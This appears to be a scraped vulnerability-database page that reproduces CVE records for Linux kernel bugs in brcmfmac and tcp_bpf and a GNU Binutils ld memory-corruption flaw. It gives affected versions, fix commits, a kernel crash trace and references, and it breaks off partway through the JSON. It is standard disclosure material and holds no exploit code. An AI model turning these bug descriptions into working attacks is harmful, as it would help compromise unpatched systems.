Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T19:36:47.312Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00028.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:03:34.427Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/wireless/broadcom/brcm80211/brcmfmac/core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "2326e19190e176fd72bb542b837a9d2b7fcb8693",
              "status": "affected",
              "version": "7f00ee2bbc630900ba16fc2690473f3e2db0e264",
              "versionType": "git"
            },
            {
              "lessThan": "59ff4fa653ff6db07c61152516ffba79c2a74bda",
              "status": "affected",
              "version": "7f00ee2bbc630900ba16fc2690473f3e2db0e264",
              "versionType": "git"
            },
            {
              "lessThan": "61541d9b5a23df33934fcc620a3a81f246b1b240",
              "status": "affected",
              "version": "7f00ee2bbc630900ba16fc2690473f3e2db0e264",
              "versionType": "git"
            },
            {
              "lessThan": "4e51d6d093e763348916e69d06d87e0a5593661b",
              "status": "affected",
              "version": "7f00ee2bbc630900ba16fc2690473f3e2db0e264",
              "versionType": "git"
            },
            {
              "lessThan": "3877fc67bd3d5566cc12763bce39710ceb74a97d",
              "status": "affected",
              "version": "7f00ee2bbc630900ba16fc2690473f3e2db0e264",
              "versionType": "git"
            },
            {
              "lessThan": "fbbfef2a5b858eab55741a58b2ac9a0cc8d53c58",
              "status": "affected",
              "version": "7f00ee2bbc630900ba16fc2690473f3e2db0e264",
              "versionType": "git"
            },
            {
              "lessThan": "a2beefc4fa49ebc22e664dc6b39dbd054f8488f9",
              "status": "affected",
              "version": "7f00ee2bbc630900ba16fc2690473f3e2db0e264",
              "versionType": "git"
            },
            {
              "lessThan": "68abd0c4ebf24cd499841a488b97a6873d5efabb",
              "status": "affected",
              "version": "7f00ee2bbc630900ba16fc2690473f3e2db0e264",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "6faa698c35a43b9e74ea24e90fe37471d08d00d0",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "9119232cc92a269d7860b4aa51f07d3923a3cc10",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/wireless/broadcom/brcm80211/brcmfmac/core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.9"
            },
            {
              "lessThan": "4.9",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.291",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.235",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.179",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.129",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.78",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.14",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.13.*",
              "status": "unaffected",
              "version": "6.13.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.14",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.291",
                  "versionStartIncluding": "4.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.235",
                  "versionStartIncluding": "4.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.179",
                  "versionStartIncluding": "4.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.129",
                  "versionStartIncluding": "4.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.78",
                  "versionStartIncluding": "4.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.14",
                  "versionStartIncluding": "4.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13.3",
                  "versionStartIncluding": "4.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.14",
                  "versionStartIncluding": "4.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.7.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.8.4",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: brcmfmac: fix NULL pointer dereference in brcmf_txfinalize()\n\nOn removal of the device or unloading of the kernel module a potential NULL\npointer dereference occurs.\n\nThe following sequence deletes the interface:\n\n  brcmf_detach()\n    brcmf_remove_interface()\n      brcmf_del_if()\n\nInside the brcmf_del_if() function the drvr-\u003eif2bss[ifidx] is updated to\nBRCMF_BSSIDX_INVALID (-1) if the bsscfgidx matches.\n\nAfter brcmf_remove_interface() call the brcmf_proto_detach() function is\ncalled providing the following sequence:\n\n  brcmf_detach()\n    brcmf_proto_detach()\n      brcmf_proto_msgbuf_detach()\n        brcmf_flowring_detach()\n          brcmf_msgbuf_delete_flowring()\n            brcmf_msgbuf_remove_flowring()\n              brcmf_flowring_delete()\n                brcmf_get_ifp()\n                brcmf_txfinalize()\n\nSince brcmf_get_ip() can and actually will return NULL in this case the\ncall to brcmf_txfinalize() will result in a NULL pointer dereference inside\nbrcmf_txfinalize() when trying to update ifp-\u003endev-\u003estats.tx_errors.\n\nThis will only happen if a flowring still has an skb.\n\nAlthough the NULL pointer dereference has only been seen when trying to\nupdate the tx statistic, all other uses of the ifp pointer have been\nguarded as well with an early return if ifp is NULL."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:05:35.226Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/2326e19190e176fd72bb542b837a9d2b7fcb8693"
        },
        {
          "url": "https://git.kernel.org/stable/c/59ff4fa653ff6db07c61152516ffba79c2a74bda"
        },
        {
          "url": "https://git.kernel.org/stable/c/61541d9b5a23df33934fcc620a3a81f246b1b240"
        },
        {
          "url": "https://git.kernel.org/stable/c/4e51d6d093e763348916e69d06d87e0a5593661b"
        },
        {
          "url": "https://git.kernel.org/stable/c/3877fc67bd3d5566cc12763bce39710ceb74a97d"
        },
        {
          "url": "https://git.kernel.org/stable/c/fbbfef2a5b858eab55741a58b2ac9a0cc8d53c58"
        },
        {
          "url": "https://git.kernel.org/stable/c/a2beefc4fa49ebc22e664dc6b39dbd054f8488f9"
        },
        {
          "url": "https://git.kernel.org/stable/c/68abd0c4ebf24cd499841a488b97a6873d5efabb"
        }
      ],
      "title": "wifi: brcmfmac: fix NULL pointer dereference in brcmf_txfinalize()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2025-21744",
    "datePublished": "2025-02-27T02:12:17.259Z",
    "dateReserved": "2024-12-29T08:45:45.757Z",
    "dateUpdated": "2026-05-12T12:03:34.427Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-46783 (GCVE-0-2024-46783)

Vulnerability from cvelistv5 – Published: 2024-09-18 07:12 – Updated: 2026-05-12 11:57

Title

tcp_bpf: fix return value of tcp_bpf_sendmsg()

Summary

In the Linux kernel, the following vulnerability has been resolved: tcp_bpf: fix return value of tcp_bpf_sendmsg() When we cork messages in psock->cork, the last message triggers the flushing will result in sending a sk_msg larger than the current message size. In this case, in tcp_bpf_send_verdict(), 'copied' becomes negative at least in the following case: 468 case __SK_DROP: 469 default: 470 sk_msg_free_partial(sk, msg, tosend); 471 sk_msg_apply_bytes(psock, tosend); 472 *copied -= (tosend + delta); // <==== HERE 473 return -EACCES; Therefore, it could lead to the following BUG with a proper value of 'copied' (thanks to syzbot). We should not use negative 'copied' as a return value here. ------------[ cut here ]------------ kernel BUG at net/socket.c:733! Internal error: Oops - BUG: 00000000f2000800 [#1] PREEMPT SMP Modules linked in: CPU: 0 UID: 0 PID: 3265 Comm: syz-executor510 Not tainted 6.11.0-rc3-syzkaller-00060-gd07b43284ab3 #0 Hardware name: linux,dummy-virt (DT) pstate: 61400009 (nZCv daif +PAN -UAO -TCO +DIT -SSBS BTYPE=--) pc : sock_sendmsg_nosec net/socket.c:733 [inline] pc : sock_sendmsg_nosec net/socket.c:728 [inline] pc : __sock_sendmsg+0x5c/0x60 net/socket.c:745 lr : sock_sendmsg_nosec net/socket.c:730 [inline] lr : __sock_sendmsg+0x54/0x60 net/socket.c:745 sp : ffff800088ea3b30 x29: ffff800088ea3b30 x28: fbf00000062bc900 x27: 0000000000000000 x26: ffff800088ea3bc0 x25: ffff800088ea3bc0 x24: 0000000000000000 x23: f9f00000048dc000 x22: 0000000000000000 x21: ffff800088ea3d90 x20: f9f00000048dc000 x19: ffff800088ea3d90 x18: 0000000000000001 x17: 0000000000000000 x16: 0000000000000000 x15: 000000002002ffaf x14: 0000000000000000 x13: 0000000000000000 x12: 0000000000000000 x11: 0000000000000000 x10: ffff8000815849c0 x9 : ffff8000815b49c0 x8 : 0000000000000000 x7 : 000000000000003f x6 : 0000000000000000 x5 : 00000000000007e0 x4 : fff07ffffd239000 x3 : fbf00000062bc900 x2 : 0000000000000000 x1 : 0000000000000000 x0 : 00000000fffffdef Call trace: sock_sendmsg_nosec net/socket.c:733 [inline] __sock_sendmsg+0x5c/0x60 net/socket.c:745 ____sys_sendmsg+0x274/0x2ac net/socket.c:2597 ___sys_sendmsg+0xac/0x100 net/socket.c:2651 __sys_sendmsg+0x84/0xe0 net/socket.c:2680 __do_sys_sendmsg net/socket.c:2689 [inline] __se_sys_sendmsg net/socket.c:2687 [inline] __arm64_sys_sendmsg+0x24/0x30 net/socket.c:2687 __invoke_syscall arch/arm64/kernel/syscall.c:35 [inline] invoke_syscall+0x48/0x110 arch/arm64/kernel/syscall.c:49 el0_svc_common.constprop.0+0x40/0xe0 arch/arm64/kernel/syscall.c:132 do_el0_svc+0x1c/0x28 arch/arm64/kernel/syscall.c:151 el0_svc+0x34/0xec arch/arm64/kernel/entry-common.c:712 el0t_64_sync_handler+0x100/0x12c arch/arm64/kernel/entry-common.c:730 el0t_64_sync+0x19c/0x1a0 arch/arm64/kernel/entry.S:598 Code: f9404463 d63f0060 3108441f 54fffe81 (d4210000) ---[ end trace 0000000000000000 ]---

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/6f9fdf5806cced888…
https://git.kernel.org/stable/c/3efe53eb221a38e20…
https://git.kernel.org/stable/c/78bb38d9c5a311c5f…
https://git.kernel.org/stable/c/810a4e7d92dea4074…
https://git.kernel.org/stable/c/c8219a27fa43a2cbf…
https://git.kernel.org/stable/c/126d72b726c4cf111…
https://git.kernel.org/stable/c/fe1910f9337bd46a9…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 4f738adba30a7cfc006f605707e7aee847ffefa0 , < 6f9fdf5806cced888c43512bccbdf7fefd50f510 (git) Affected: 4f738adba30a7cfc006f605707e7aee847ffefa0 , < 3efe53eb221a38e207c1e3f81c51e4ca057d50c2 (git) Affected: 4f738adba30a7cfc006f605707e7aee847ffefa0 , < 78bb38d9c5a311c5f8bdef7c9557d7d81ca30e4a (git) Affected: 4f738adba30a7cfc006f605707e7aee847ffefa0 , < 810a4e7d92dea4074cb04c25758320909d752193 (git) Affected: 4f738adba30a7cfc006f605707e7aee847ffefa0 , < c8219a27fa43a2cbf99f5176f6dddfe73e7a24ae (git) Affected: 4f738adba30a7cfc006f605707e7aee847ffefa0 , < 126d72b726c4cf1119f3a7fe413a78d341c3fea9 (git) Affected: 4f738adba30a7cfc006f605707e7aee847ffefa0 , < fe1910f9337bd46a9343967b547ccab26b4b2c6e (git)
Linux	Linux	Affected: 4.17 Unaffected: 0 , < 4.17 (semver) Unaffected: 5.4.284 , ≤ 5.4.* (semver) Unaffected: 5.10.226 , ≤ 5.10.* (semver) Unaffected: 5.15.167 , ≤ 5.15.* (semver) Unaffected: 6.1.110 , ≤ 6.1.* (semver) Unaffected: 6.6.51 , ≤ 6.6.* (semver) Unaffected: 6.10.10 , ≤ 6.10.* (semver) Unaffected: 6.11 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-46783",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-29T14:29:59.160997Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-29T14:30:13.589Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:18:29.717Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00003.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:57:59.612Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/ipv4/tcp_bpf.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "6f9fdf5806cced888c43512bccbdf7fefd50f510",
              "status": "affected",
              "version": "4f738adba30a7cfc006f605707e7aee847ffefa0",
              "versionType": "git"
            },
            {
              "lessThan": "3efe53eb221a38e207c1e3f81c51e4ca057d50c2",
              "status": "affected",
              "version": "4f738adba30a7cfc006f605707e7aee847ffefa0",
              "versionType": "git"
            },
            {
              "lessThan": "78bb38d9c5a311c5f8bdef7c9557d7d81ca30e4a",
              "status": "affected",
              "version": "4f738adba30a7cfc006f605707e7aee847ffefa0",
              "versionType": "git"
            },
            {
              "lessThan": "810a4e7d92dea4074cb04c25758320909d752193",
              "status": "affected",
              "version": "4f738adba30a7cfc006f605707e7aee847ffefa0",
              "versionType": "git"
            },
            {
              "lessThan": "c8219a27fa43a2cbf99f5176f6dddfe73e7a24ae",
              "status": "affected",
              "version": "4f738adba30a7cfc006f605707e7aee847ffefa0",
              "versionType": "git"
            },
            {
              "lessThan": "126d72b726c4cf1119f3a7fe413a78d341c3fea9",
              "status": "affected",
              "version": "4f738adba30a7cfc006f605707e7aee847ffefa0",
              "versionType": "git"
            },
            {
              "lessThan": "fe1910f9337bd46a9343967b547ccab26b4b2c6e",
              "status": "affected",
              "version": "4f738adba30a7cfc006f605707e7aee847ffefa0",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/ipv4/tcp_bpf.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.17"
            },
            {
              "lessThan": "4.17",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.284",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.226",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.167",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.110",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.51",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.10",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.11",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.284",
                  "versionStartIncluding": "4.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.226",
                  "versionStartIncluding": "4.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.167",
                  "versionStartIncluding": "4.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.110",
                  "versionStartIncluding": "4.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.51",
                  "versionStartIncluding": "4.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.10",
                  "versionStartIncluding": "4.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11",
                  "versionStartIncluding": "4.17",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ntcp_bpf: fix return value of tcp_bpf_sendmsg()\n\nWhen we cork messages in psock-\u003ecork, the last message triggers the\nflushing will result in sending a sk_msg larger than the current\nmessage size. In this case, in tcp_bpf_send_verdict(), \u0027copied\u0027 becomes\nnegative at least in the following case:\n\n468         case __SK_DROP:\n469         default:\n470                 sk_msg_free_partial(sk, msg, tosend);\n471                 sk_msg_apply_bytes(psock, tosend);\n472                 *copied -= (tosend + delta); // \u003c==== HERE\n473                 return -EACCES;\n\nTherefore, it could lead to the following BUG with a proper value of\n\u0027copied\u0027 (thanks to syzbot). We should not use negative \u0027copied\u0027 as a\nreturn value here.\n\n  ------------[ cut here ]------------\n  kernel BUG at net/socket.c:733!\n  Internal error: Oops - BUG: 00000000f2000800 [#1] PREEMPT SMP\n  Modules linked in:\n  CPU: 0 UID: 0 PID: 3265 Comm: syz-executor510 Not tainted 6.11.0-rc3-syzkaller-00060-gd07b43284ab3 #0\n  Hardware name: linux,dummy-virt (DT)\n  pstate: 61400009 (nZCv daif +PAN -UAO -TCO +DIT -SSBS BTYPE=--)\n  pc : sock_sendmsg_nosec net/socket.c:733 [inline]\n  pc : sock_sendmsg_nosec net/socket.c:728 [inline]\n  pc : __sock_sendmsg+0x5c/0x60 net/socket.c:745\n  lr : sock_sendmsg_nosec net/socket.c:730 [inline]\n  lr : __sock_sendmsg+0x54/0x60 net/socket.c:745\n  sp : ffff800088ea3b30\n  x29: ffff800088ea3b30 x28: fbf00000062bc900 x27: 0000000000000000\n  x26: ffff800088ea3bc0 x25: ffff800088ea3bc0 x24: 0000000000000000\n  x23: f9f00000048dc000 x22: 0000000000000000 x21: ffff800088ea3d90\n  x20: f9f00000048dc000 x19: ffff800088ea3d90 x18: 0000000000000001\n  x17: 0000000000000000 x16: 0000000000000000 x15: 000000002002ffaf\n  x14: 0000000000000000 x13: 0000000000000000 x12: 0000000000000000\n  x11: 0000000000000000 x10: ffff8000815849c0 x9 : ffff8000815b49c0\n  x8 : 0000000000000000 x7 : 000000000000003f x6 : 0000000000000000\n  x5 : 00000000000007e0 x4 : fff07ffffd239000 x3 : fbf00000062bc900\n  x2 : 0000000000000000 x1 : 0000000000000000 x0 : 00000000fffffdef\n  Call trace:\n   sock_sendmsg_nosec net/socket.c:733 [inline]\n   __sock_sendmsg+0x5c/0x60 net/socket.c:745\n   ____sys_sendmsg+0x274/0x2ac net/socket.c:2597\n   ___sys_sendmsg+0xac/0x100 net/socket.c:2651\n   __sys_sendmsg+0x84/0xe0 net/socket.c:2680\n   __do_sys_sendmsg net/socket.c:2689 [inline]\n   __se_sys_sendmsg net/socket.c:2687 [inline]\n   __arm64_sys_sendmsg+0x24/0x30 net/socket.c:2687\n   __invoke_syscall arch/arm64/kernel/syscall.c:35 [inline]\n   invoke_syscall+0x48/0x110 arch/arm64/kernel/syscall.c:49\n   el0_svc_common.constprop.0+0x40/0xe0 arch/arm64/kernel/syscall.c:132\n   do_el0_svc+0x1c/0x28 arch/arm64/kernel/syscall.c:151\n   el0_svc+0x34/0xec arch/arm64/kernel/entry-common.c:712\n   el0t_64_sync_handler+0x100/0x12c arch/arm64/kernel/entry-common.c:730\n   el0t_64_sync+0x19c/0x1a0 arch/arm64/kernel/entry.S:598\n  Code: f9404463 d63f0060 3108441f 54fffe81 (d4210000)\n  ---[ end trace 0000000000000000 ]---"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:36:23.854Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/6f9fdf5806cced888c43512bccbdf7fefd50f510"
        },
        {
          "url": "https://git.kernel.org/stable/c/3efe53eb221a38e207c1e3f81c51e4ca057d50c2"
        },
        {
          "url": "https://git.kernel.org/stable/c/78bb38d9c5a311c5f8bdef7c9557d7d81ca30e4a"
        },
        {
          "url": "https://git.kernel.org/stable/c/810a4e7d92dea4074cb04c25758320909d752193"
        },
        {
          "url": "https://git.kernel.org/stable/c/c8219a27fa43a2cbf99f5176f6dddfe73e7a24ae"
        },
        {
          "url": "https://git.kernel.org/stable/c/126d72b726c4cf1119f3a7fe413a78d341c3fea9"
        },
        {
          "url": "https://git.kernel.org/stable/c/fe1910f9337bd46a9343967b547ccab26b4b2c6e"
        }
      ],
      "title": "tcp_bpf: fix return value of tcp_bpf_sendmsg()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-46783",
    "datePublished": "2024-09-18T07:12:39.573Z",
    "dateReserved": "2024-09-11T15:12:18.276Z",
    "dateUpdated": "2026-05-12T11:57:59.612Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-5244 (GCVE-0-2025-5244)

Vulnerability from cvelistv5 – Published: 2025-05-27 13:00 – Updated: 2026-05-12 12:02

Title

GNU Binutils ld elflink.c elf_gc_sweep memory corruption

Summary

A vulnerability was found in GNU Binutils up to 2.44. It has been rated as critical. Affected by this issue is the function elf_gc_sweep of the file bfd/elflink.c of the component ld. The manipulation leads to memory corruption. An attack has to be approached locally. The exploit has been disclosed to the public and may be used. Upgrading to version 2.45 is able to address this issue. It is recommended to upgrade the affected component.

Severity ?

4.8 (Medium)


                        
                          CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

5.3 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

5.3 (Medium)


                        
                          CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

CWE

CWE-119 - Memory Corruption

Assigner

VulDB

References

7 references

URL	Tags
https://vuldb.com/?id.310346	vdb-entrytechnical-description
https://vuldb.com/?ctiid.310346	signaturepermissions-required
https://vuldb.com/?submit.584634	third-party-advisory
https://sourceware.org/bugzilla/show_bug.cgi?id=32858	issue-tracking
https://sourceware.org/bugzilla/attachment.cgi?id=16010	exploit
https://sourceware.org/git/gitweb.cgi?p=binutils-…	patch
https://www.gnu.org/	broken-linkproduct

Impacted products

1 product

Vendor	Product	Version
GNU	Binutils	Affected: 2.0 Affected: 2.1 Affected: 2.2 Affected: 2.3 Affected: 2.4 Affected: 2.5 Affected: 2.6 Affected: 2.7 Affected: 2.8 Affected: 2.9 Affected: 2.10 Affected: 2.11 Affected: 2.12 Affected: 2.13 Affected: 2.14 Affected: 2.15 Affected: 2.16 Affected: 2.17 Affected: 2.18 Affected: 2.19 Affected: 2.20 Affected: 2.21 Affected: 2.22 Affected: 2.23 Affected: 2.24 Affected: 2.25 Affected: 2.26 Affected: 2.27 Affected: 2.28 Affected: 2.29 Affected: 2.30 Affected: 2.31 Affected: 2.32 Affected: 2.33 Affected: 2.34 Affected: 2.35 Affected: 2.36 Affected: 2.37 Affected: 2.38 Affected: 2.39 Affected: 2.40 Affected: 2.41 Affected: 2.42 Affected: 2.43 Affected: 2.44

Credits

lcyf-fizz (VulDB User)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-5244",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-05-27T13:31:20.442015Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-05-27T13:32:03.140Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
